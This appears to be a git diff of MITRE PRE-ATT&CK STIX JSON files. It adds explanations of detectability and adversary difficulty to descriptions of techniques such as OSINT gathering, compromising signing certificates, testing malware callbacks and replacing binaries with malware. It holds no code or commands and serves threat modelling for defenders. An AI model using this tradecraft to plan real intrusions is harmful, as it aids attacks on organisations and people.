+++ b/pre-attack/attack-pattern/attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--70b56551-c5f1-457f-92c4-79f08f75cf6a",
+    "id": "bundle--acb66c8f-5e04-4927-a62d-b1e3020f637c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire OSINT data sets and information",
-            "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors.  Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors.  Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company).  Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company).  Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400.json b/pre-attack/attack-pattern/attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400.json
index 5d265c6fe1..50847bb224 100644
--- a/pre-attack/attack-pattern/attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400.json
+++ b/pre-attack/attack-pattern/attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ecce4b16-58e8-41b4-a0cd-6109e6c3d926",
+    "id": "bundle--16cbd521-2d96-4f44-ba57-d7622345bdbe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Submit KITs, KIQs, and intelligence requirements",
-            "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983.json b/pre-attack/attack-pattern/attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983.json
index f037db2e4f..4f1079d7b4 100644
--- a/pre-attack/attack-pattern/attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983.json
+++ b/pre-attack/attack-pattern/attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8021ec07-1d37-4aff-9c30-030843cd2f8c",
+    "id": "bundle--ec61dde1-478e-4d94-ba20-a55a2b3f7f0f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire or compromise 3rd party signing certificates",
-            "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa.json b/pre-attack/attack-pattern/attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa.json
index 06ad1ade5f..fbce4d8301 100644
--- a/pre-attack/attack-pattern/attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa.json
+++ b/pre-attack/attack-pattern/attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--86f60d17-34c8-47e4-a054-a867204401b2",
+    "id": "bundle--bb6d391e-75f1-49ad-867a-66a36e7fc34c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authorized user performs requested cyber action",
-            "description": "Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3.json b/pre-attack/attack-pattern/attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3.json
index fa533de4dc..e3a306b5bd 100644
--- a/pre-attack/attack-pattern/attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3.json
+++ b/pre-attack/attack-pattern/attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6de24d61-537e-4fec-af85-9c726e0d1720",
+    "id": "bundle--e099a68d-aba5-410c-bd3a-6ecdc16371a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify security defensive capabilities",
-            "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Technically, the defender has the ability to detect.  However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense.  In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses.  It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Technically, the defender has the ability to detect.  However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense.  In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "The adversary will have some insight into defenses based on dropped traffic or filtered responses.  It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6.json b/pre-attack/attack-pattern/attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6.json
index ca15c21c72..f402e98083 100644
--- a/pre-attack/attack-pattern/attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6.json
+++ b/pre-attack/attack-pattern/attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad294a07-5f1c-4d45-9b89-4f4b4fd99f60",
+    "id": "bundle--6f889a29-77a1-4a6f-a811-81cc2974f612",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test callback functionality",
-            "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1.json b/pre-attack/attack-pattern/attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1.json
index bb15a18f14..fe74c93504 100644
--- a/pre-attack/attack-pattern/attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1.json
+++ b/pre-attack/attack-pattern/attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--904bd760-8d42-4d4e-9aba-e299490b4142",
+    "id": "bundle--835fc2f4-923f-48e8-8e75-d8f7ef2e3eb3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify job postings and needs/gaps",
             "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary  information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
diff --git a/pre-attack/attack-pattern/attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc.json b/pre-attack/attack-pattern/attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc.json
index 392b800799..f89e041edb 100644
--- a/pre-attack/attack-pattern/attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc.json
+++ b/pre-attack/attack-pattern/attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b11887c-f6b6-427d-ab66-7eec9336ae37",
+    "id": "bundle--ff039e0c-9c91-472e-97f3-5f0b6417e942",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze organizational skillsets and deficiencies",
-            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported.  In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported.  In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624.json b/pre-attack/attack-pattern/attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624.json
index 06ff0fb4f3..b878d154b2 100644
--- a/pre-attack/attack-pattern/attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624.json
+++ b/pre-attack/attack-pattern/attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dce963bd-63aa-4167-a43e-5978d8ae0c89",
+    "id": "bundle--90dc6fe3-c987-4e11-967a-ccd995bed9ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify people of interest",
-            "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization.  Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization.  Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical.  Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest.  In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical.  Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest.  In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6.json b/pre-attack/attack-pattern/attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6.json
index fd41157449..47b5d96294 100644
--- a/pre-attack/attack-pattern/attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6.json
+++ b/pre-attack/attack-pattern/attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--33b278bf-0539-4c0f-b994-c2c8e1bb53bf",
+    "id": "bundle--2d12782f-49a7-4860-9f1c-5293c6ba1124",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Common, high volume protocols and software",
-            "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: High level of entropy in communications.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "High level of entropy in communications.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0.json b/pre-attack/attack-pattern/attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0.json
index 410d9c3b69..727cec0b84 100644
--- a/pre-attack/attack-pattern/attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0.json
+++ b/pre-attack/attack-pattern/attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--147efe14-cb2d-4528-a951-2ba97d2b3e9c",
+    "id": "bundle--ccce0af1-06ae-414b-b361-83402fc839ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Replace legitimate binary with malware",
-            "description": "Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique.  On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted.  The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique.  On the source webserver, detecting binary changes is easy to detect if performed.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted.  The additional challenge is the reduced set of vendor-trusted websites that are vulnerable."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729.json b/pre-attack/attack-pattern/attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729.json
index 88f7ee4545..56357c4e28 100644
--- a/pre-attack/attack-pattern/attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729.json
+++ b/pre-attack/attack-pattern/attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a877aeb4-db6a-4498-8bc9-b05659e175ad",
+    "id": "bundle--6ac276e2-aa12-49c5-816f-ac1928f91347",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated system performs requested action",
-            "description": "Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action.  Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
